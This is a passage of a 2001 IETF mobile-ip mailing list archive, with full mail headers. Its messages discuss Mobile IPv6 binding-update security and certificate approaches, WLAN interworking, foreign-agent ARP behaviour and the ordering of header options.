networks with routing protocols, multiple Care-of-Addresses, mobile
routers as NAT's, tunnelling and routing headers, security aspects,
mobile networks as PANs and many other subjects.  Several solutions
could be designed as a result of those discussions.

Besides, I would also like to gather your ideas and comments on the
creation of a monet BOF.

I am looking forward to your participation in the monet mailing list
discussion. Subscribe to the monet mailing list by sending mail to

monet-request@crm.mot.com

with the word "subscribe" (without the quotes) in the body. You need to
subscribe to the list in order to send to the list. You can post to the list by
sending mail to monet@crm.mot.com. Unsubscribe by sending mail to
monet-request@crm.mot.com with the two
words "unsubscribe monet" (again without the quotes) in the body.

Cheers,
Hong-Yon Lach
Alexandru Petrescu
Christophe Janneteau
John Boot


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:03:26 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09820
	for <mobileip-archive@lists.ietf.org>; Mon, 26 Nov 2001 18:03:25 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA21252;
	Mon, 26 Nov 2001 15:01:54 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA25879;
	Mon, 26 Nov 2001 15:00:15 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQMx71V000408
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 14:59:07 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQMx7qO000407
	for mobile-ip-dist; Mon, 26 Nov 2001 14:59:07 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQMwx1X000391
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 14:59:01 -0800 (PST)
Received: from lillen (lillen [129.157.212.23])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAQ8Lrq05174;
	Mon, 26 Nov 2001 09:21:53 +0100 (MET)
Date: Mon, 26 Nov 2001 09:20:46 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
To: Pekka Nikander <Pekka.Nikander@nomadiclab.com>
Cc: mobile-ip@sunroof.eng.sun.com, Michael Thomas <mat@cisco.com>,
        Jari Arkko <Jari.Arkko@lmf.ericsson.se>,
        Erik Nordmark <Erik.Nordmark@eng.sun.com>
In-Reply-To: "Your message with ID" <3BFFF6BB.9050209@nomadiclab.com>
Message-ID: <Roam.SIMC.2.0.6.1006762846.22935.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> However, I did some back-of-the-envelope performance analysis on this some
> time last spring when I considered the options.  I don't remember the exact
> results any more, but if we asssume a reasonable delegation architecture,
> the number of DNS queries that you have to do, and more importantly, the
> number of public key signatures that you have to check are quite large,
> i.e. in the order of 5-10 signature checks.  Quite high penalty for being
> able to use route optimizations -- how many servers would be willing to
> pay that?

Agreed that this is not cheap.

> Well, I think that the HIP approach of throwing in an architecturally
> new protocol layer, with public keys acting as Host Identifiers, is
> yet another approach.  But, of course, we wouldn't have the home address
> any more (only the host ID), so perhaps that doesn't count.

I'm not up to spead on all the flavors of HIP - it might be better
to take my education off line. My question is whether HIP is really adding
any new mechanisms to authenticate the identity (it does add new flavors of
identity - public keys, host names, what else?).

  Erik



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:06:35 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10073
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:06:34 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA09945;
	Mon, 26 Nov 2001 16:03:37 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA27953;
	Mon, 26 Nov 2001 15:03:42 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN101V000544
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:01:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQN0wxK000529
	for mobile-ip-dist; Mon, 26 Nov 2001 15:00:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN0U1p000424
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:00:37 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA12069
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 10:09:25 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA01852
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 10:09:25 -0800 (PST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAQHvc527783;
	Mon, 26 Nov 2001 09:57:38 -0800 (PST)
Message-ID: <017501c176a3$9cd24fa0$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>,
        "'Pat R. Calhoun'" <pcalhoun@bstormnetworks.com>,
        "'Gary Kenward'" <gkenward@nortelnetworks.com>
Cc: <seamoby@cdma-2000.org>, <mobile-ip@sunroof.eng.sun.com>
References: <A1170612471BD21185B90008C7FA0A0D0327F9B9@idcpa4.pa.interdigital.com>
Subject: [mobile-ip] Re: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Date: Mon, 26 Nov 2001 09:56:02 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

This sounds like architecture to me. IETF typically doesn't do that kind
of thing. I think IEEE should do this.

But you can try a BOF if you want...

        jak

----- Original Message -----
From: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
To: "'Pat R. Calhoun'" <pcalhoun@bstormnetworks.com>; "Shahrier, Sharif
M." <Sharif.Shahrier@InterDigital.com>; "'Gary Kenward'"
<gkenward@nortelnetworks.com>
Cc: <kempf@docomolabs-usa.com>; <seamoby@cdma-2000.org>;
<mobile-ip@sunroof.eng.sun.com>
Sent: Monday, November 26, 2001 9:09 AM
Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt


> No, MIP is not sufficient, in my oppinion. There are many other issues
> involved when the MN changes its AP from one WLAN to another.
>
> -          Fast, seamless handover.
> -          Authentication and authorization.
> -          Billing (especially if the two WLANs are controlled by
different
> operators).
> -          Context transfer
> -          Mobility management.
> -          Quality-of-Service.
>
> Now, the IETF has different protocol for these, but how they fit
together
> into the interworking problem should be looked at.
>
> Also important, is to understand how the L2 functions in the WLANs
> interoperate with the functions in the IP layer. Perhaps, some
functions are
> better done in L2, while others in the IP layer .....
>
> WLANs are going to be deployed more and more now, in campuses,
enterprise
> networks, and also in home networking. And how to interconnect them is
of
> great importance.
>
> Thus, I believe, if there were sufficient interest from people, IETF
should
> consider taking an active role in attempting to understand ALL the
issues
> and decide what (if anything) to do.
>
> Thus, a BOF session on "Interconnecting 802.11 in IP Layer"  is a
small
> step.
>
> I am hoping to get a general feedback. Thanks.
>
>
> -Sharif.
>
> -----Original Message-----
> From: Pat R. Calhoun [mailto:pcalhoun@bstormnetworks.com]
> Sent: Monday, November 26, 2001 11:46 AM
> To: 'Shahrier, Sharif M.'; 'Gary Kenward'
> Cc: 'kempf@docomolabs-usa.com'
> Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
> Sensitivity: Confidential
>
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> Right so if MIP is sufficient, no BOF is required.
>
> PatC
> - -----Original Message-----
> From: Shahrier, Sharif M. [ mailto:Sharif.Shahrier@InterDigital.com
> <mailto:Sharif.Shahrier@InterDigital.com> ]
> Sent: Monday, November 26, 2001 8:38 AM
> To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary Kenward'
> Cc: 'kempf@docomolabs-usa.com'
> Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
> Sensitivity: Confidential
>
> Well, an  interworking solution need not necessarily be  a radio
> access network (RAN)  based solution. In fact, I have been
> researching into what companies are doing to interwork different
> types of networks, including 802.11. Most of them seem to be using
> Mobile IP (RFC2002), with some extensions of their own.
> As for IEEE, they just do L1 and L2, and nothing else.
> - -Sharif.
> The IESG would have zero interest on developing an air interface
> specific solution, and IEEE shouldn't get involved in L3 and above.
>
> See the problem :(
>
> PatC
> - - -----Original Message-----
> From: Shahrier, Sharif M. [ mailto:Sharif.Shahrier@InterDigital.com
> <mailto:Sharif.Shahrier@InterDigital.com> ]
> Sent: Monday, November 26, 2001 8:19 AM
> To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary Kenward'
> Cc: 'kempf@docomolabs-usa.com'
> Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
> Sensitivity: Confidential
>
> As far as I know, the MWIF are currently looking into interconnecting
> solutions for WLANs. Also, SA1 in 3GPP have a WI on interconnecting
> UMTS and WLANs, so it may be interconnecting 802.11's are a sub-set
> of that. What are the chances of requesting the IESG about forming an
> ad-hoc at the next IETF meeting, and getting a favorable response
> ......?
>
> - - -Sharif.
>
> - - -----Original Message-----
> From: Pat R. Calhoun [ mailto:pcalhoun@bstormnetworks.com
> <mailto:pcalhoun@bstormnetworks.com> ]
> Sent: Monday, November 26, 2001 11:07 AM
> To: 'Shahrier, Sharif M.'; 'Gary Kenward'
> Cc: 'kempf@docomolabs-usa.com'
> Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
> Sensitivity: Confidential
>
> - - -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> yes, I have particular interest in this area, but I am also not sure
> that the standards body is the right place for this work.
>
> PatC
> - - - -----Original Message-----
>  -
>



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:07:58 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10151
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:07:58 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA11008;
	Mon, 26 Nov 2001 16:04:53 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA28691;
	Mon, 26 Nov 2001 15:04:59 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN301V001128
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:03:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQN2wBx001117
	for mobile-ip-dist; Mon, 26 Nov 2001 15:02:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN0u3w000527
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:02:34 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA26548
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 24 Nov 2001 11:45:42 -0800 (PST)
Received: from ws130.nomadiclab.com (ws130.nomadiclab.com [195.165.196.130])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA16751
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 24 Nov 2001 11:45:41 -0800 (PST)
Received: from ws34.nomadiclab.com (ws34.nomadiclab.com [195.165.196.34])
	by ws130.nomadiclab.com (Postfix) with ESMTP
	id EAAE274403; Sat, 24 Nov 2001 21:50:44 +0200 (EET)
Received: from nomadiclab.com (localhost [127.0.0.1])
	by ws34.nomadiclab.com (Postfix) with ESMTP
	id C54B8BA21; Sat, 24 Nov 2001 21:45:39 +0200 (EET)
Message-ID: <3BFFF8E1.4010303@nomadiclab.com>
Date: Sat, 24 Nov 2001 21:45:37 +0200
From: Pekka Nikander <Pekka.Nikander@nomadiclab.com>
User-Agent: Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Cc: Jari Arkko <Jari.Arkko@lmf.ericsson.se>,
        Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
References: <Roam.SIMC.2.0.6.1006363802.26131.nordmark@bebop.france>	<3BFD5A58.5030409@nomadiclab.com> <15357.24539.922025.192589@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Michael Thomas wrote:

> Pekka Nikander writes:
>  > >>If we had SPKI and not X.509, the address ownership
>  > >>would be a lot easier to solve.
>  > >>
>  > >  > > How? Anything I can read to learn how SPKI is different in solving
>  > > this issue?
>  >  >  > Well, one way to explain is to say that both SPKI and KeyNote2
>  > allow the access control list to be included into the certificate,
>  > so to say.  In this respect both SPKI and KeyNote2 have the same
>  > level of expressing power, even though in some other ways KeyNote2
>  > is more expressive.
> 
>    I know this is pretty far afield, but I have a hard time
>    reconciling how you could scale a PKI based authentication/ 
>    authorization scheme with longish lived certificates, with
>    the ever increasing realization that IP addresses (or at least
>    their prefixes) should be viewed as transient. To work properly,
>    you'd want certs with lifetimes roughly equivalent to the
>    lifetime of addresses, which I would think shouldn't be more
>    than a day or two maximum. 


Sure.  That's part of the idea.

>    Issuing signed certificates that
>    often makes me shudder at what CA could keep up with a large scale
>    deployment...

Well, the KeyNote2 and SPKI people have more or less given up
the concept of CAs.  Basically, any node can act as a CA.
In practice, you would have a few "top" nodes that would still
act as CAs and issue static long living certificates, but then
you would have something else, e.g. the local access router,
to issue the short living certificates for the actual addresses.

We also had a student looking at this problem.  Her thesis
is available at http://www.tml.hut.fi/~tpv/Zhou.pdf

The chapter worth reading is Chapter 5, starting at PDF page 68
(printed page 57).  The real beef is in Section 5.2, starting
on PDF page 73.  All the stuff is distilled into Figure 5.3
(on PDF page 78).

--Pekka Nikander



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:09:30 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10280
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:09:29 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA12159;
	Mon, 26 Nov 2001 16:06:12 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA29723;
	Mon, 26 Nov 2001 15:06:19 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN3m1V001374
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:03:48 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQN3m1H001371
	for mobile-ip-dist; Mon, 26 Nov 2001 15:03:48 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN0u5o000527
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:03:23 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA01920
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 25 Nov 2001 17:44:26 -0800 (PST)
Received: from tama5.ecl.ntt.co.jp (tama5.ecl.ntt.co.jp [129.60.39.102])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA13754
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 25 Nov 2001 18:44:48 -0700 (MST)
Received: from vcs3.rdh.ecl.ntt.co.jp (vcs3.rdh.ecl.ntt.co.jp [129.60.39.110])
	by tama5.ecl.ntt.co.jp (8.9.3+3.2W/3.7W/09/13/01) with ESMTP id KAA05558;
	Mon, 26 Nov 2001 10:44:11 +0900 (JST)
	(envelope-from ohnishi.hiroyuki@lab.ntt.co.jp)
Received: from nttmail3.ecl.ntt.co.jp
	by vcs3.rdh.ecl.ntt.co.jp (8.9.3/3.7W/20011115) with ESMTP id KAA05346;
	Mon, 26 Nov 2001 10:44:11 +0900 (JST)
	(envelope-from ohnishi.hiroyuki@lab.ntt.co.jp)
Received: from eclscan3.m.ecl.ntt.co.jp
	by nttmail3.ecl.ntt.co.jp (8.9.3+3.2W/3.7W/09/13/01) with ESMTP id KAA02972;
	Mon, 26 Nov 2001 10:44:05 +0900 (JST)
	(envelope-from ohnishi.hiroyuki@lab.ntt.co.jp)
Received: from imd.m.ecl.ntt.co.jp (localhost [127.0.0.1])
	by eclscan3.m.ecl.ntt.co.jp (8.9.3/3.7W) with ESMTP id KAA16877;
	Mon, 26 Nov 2001 10:44:05 +0900 (JST)
Received: from ohnishi-gw.lab.ntt.co.jp
	by imd.m.ecl.ntt.co.jp (8.9.3/3.7W) with ESMTP id KAA04420;
	Mon, 26 Nov 2001 10:44:04 +0900 (JST)
Message-Id: <4.3.2-J.20011126100433.0409a4f0@imd.m.ecl.ntt.co.jp>
X-Sender: ho005@imd.m.ecl.ntt.co.jp
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2-J
Date: Mon, 26 Nov 2001 10:46:16 +0900
To: Charlie Perkins <charliep@IPRG.nokia.com>, mobile-ip@sunroof.eng.sun.com
From: Hiroyuki OHNISHI <ohnishi.hiroyuki@lab.ntt.co.jp>
Subject: [mobile-ip] Question of FA sending ARP Reply
In-Reply-To: <3B4947F0.374E6B08@iprg.nokia.com>
References: <4.3.2-J.20010705102518.034fed70@imd.m.ecl.ntt.co.jp>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

I have a question regarding ARP Reply from FA.
In Section 4.6 of rfc2002 bis, it says,

   "While the mobile node is away from home, it MUST NOT transmit any
    broadcast ARP Request or ARP Reply messages. ....
    Note also that, when transmitting a Registration Request on
    a foreign network, a mobile node may discover the link-layer address
    of a foreign agent by storing the address as it is received from the
    Agent Advertisement from that foreign agent, but not by transmitting
    a broadcast ARP Request message."

My question is, is it prohibited that FA reply ARP Request from MN?
Does FA have any mechanism to recognize ARP Request from
MN which does not follow the RFC2002 bis and not to send ARP reply to MN?

Thanks,
Hiroyuki 



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:15:22 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10790
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:15:22 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA18993;
	Mon, 26 Nov 2001 16:13:53 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA03850;
	Mon, 26 Nov 2001 15:13:55 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNB53v002668
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:11:39 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQN1VQK000703
	for mobile-ip-dist; Mon, 26 Nov 2001 15:01:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN0U2B000424
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:00:46 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA25724
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 09:01:46 -0800 (PST)
Received: from zmamail04.zma.compaq.com (zmamail04.zma.compaq.com [161.114.64.104])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA07150
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 10:01:28 -0700 (MST)
Received: by zmamail04.zma.compaq.com (Postfix, from userid 12345)
	id 3663855C9; Mon, 26 Nov 2001 12:01:45 -0500 (EST)
Received: from mailrelay01.cac.cpqcorp.net (mailrelay01.cac.cpqcorp.net [16.47.132.152])
	by zmamail04.zma.compaq.com (Postfix) with ESMTP id F3A3155C4
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 12:01:44 -0500 (EST)
Received: by mailrelay01.cac.cpqcorp.net (Postfix, from userid 12345)
	id 8F3B970F; Mon, 26 Nov 2001 09:01:44 -0800 (PST)
Received: from yquarry.zk3.dec.com (bryquarry.zk3.dec.com [16.141.40.15])
	by mailrelay01.cac.cpqcorp.net (Postfix) with ESMTP id 3C1C2619
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 09:01:44 -0800 (PST)
Received: from dogbert.zk3.dec.com by yquarry.zk3.dec.com (8.8.8/1.1.22.3/11Mar00-0650AM)
	id MAA0000008711; Mon, 26 Nov 2001 12:01:39 -0500 (EST)
From: Brian Haley USG <haley@zk3.dec.com>
Received: from localhost by dogbert.zk3.dec.com (5.65v4.0/1.1.19.2/27Mar98-0945AM)
	id AA31150; Mon, 26 Nov 2001 12:01:43 -0500
Message-Id: <200111261701.AA31150@dogbert.zk3.dec.com>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Mobile IPv6 draft 15 
Date: Mon, 26 Nov 2001 12:01:42 -0500
X-Mts: smtp
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Francis Dupont wrote:
>    Of course it was dropped since during Binding Update processing we
>    noticed we didn't have a Home Address (ala Section 8.2)...
>    
> => you had it but you didn't already processed it. This is more
> a proof that BU should not be destination options (:-), at least
> you should agree that to support this case BUs should be processed
> only when the terminal header is reached.

I am worried about the scaling problems inherent in (basically) processing
a received packet twice, which is why we follow the 2460 recommendation
I cited:

>    I believe this ordering is invalid according to Section 4.2 of RFC 2460:
>    
>      The sequence of options within a header must be processed strictly in
>      the order they appear in the header; a receiver must not, for
>      example, scan through the header looking for a particular kind of
>      option and process that option prior to processing all preceding
>      ones.
>    
> => I disagree, the meaning of the Section 4.2 is not what you suggest.

I'll agree to disagree on this.

>    [5.4]
>     The Home Address option MUST be placed as follows:
>    
>      - After the Routing Header, if that header is present
>      - Before the Fragment Header, if that header is present
>      - Before the AH or ESP Header, if either one of those
>        headers is present
> 
> => note this clause is a good reason to put the home address option
> in a destination option before the one with the BU. And as there can
> be an IPsec header a lot of implementations will apply this in all cases.

But your test didn't :)  I do realize that using IPsec "fixes" this.

>      - Before any headers or options that require Home Address
>        option information, such as a Binding Update option
>    
>    While one might think I just don't want to do more work since there is
>    one implementation that handles this case, I can't believe the Home
>    Address option was intended to be used in this way.
>    
> => I disagree: this case (BU then HA) is so funny (and takes less bytes)!

What is it, 8 bytes?  That doesn't seem like much to me, but I'm not
on the wireless end of things.

> PS: as this issue is in mobile IPv6 drafts since years, I believe
> we should wait for security problem resolution before revisiting
> this point.

I would have liked to see other comments on this as well...

-Brian



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:16:42 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10884
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:16:42 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA19958;
	Mon, 26 Nov 2001 16:15:04 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA04569;
	Mon, 26 Nov 2001 15:14:48 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
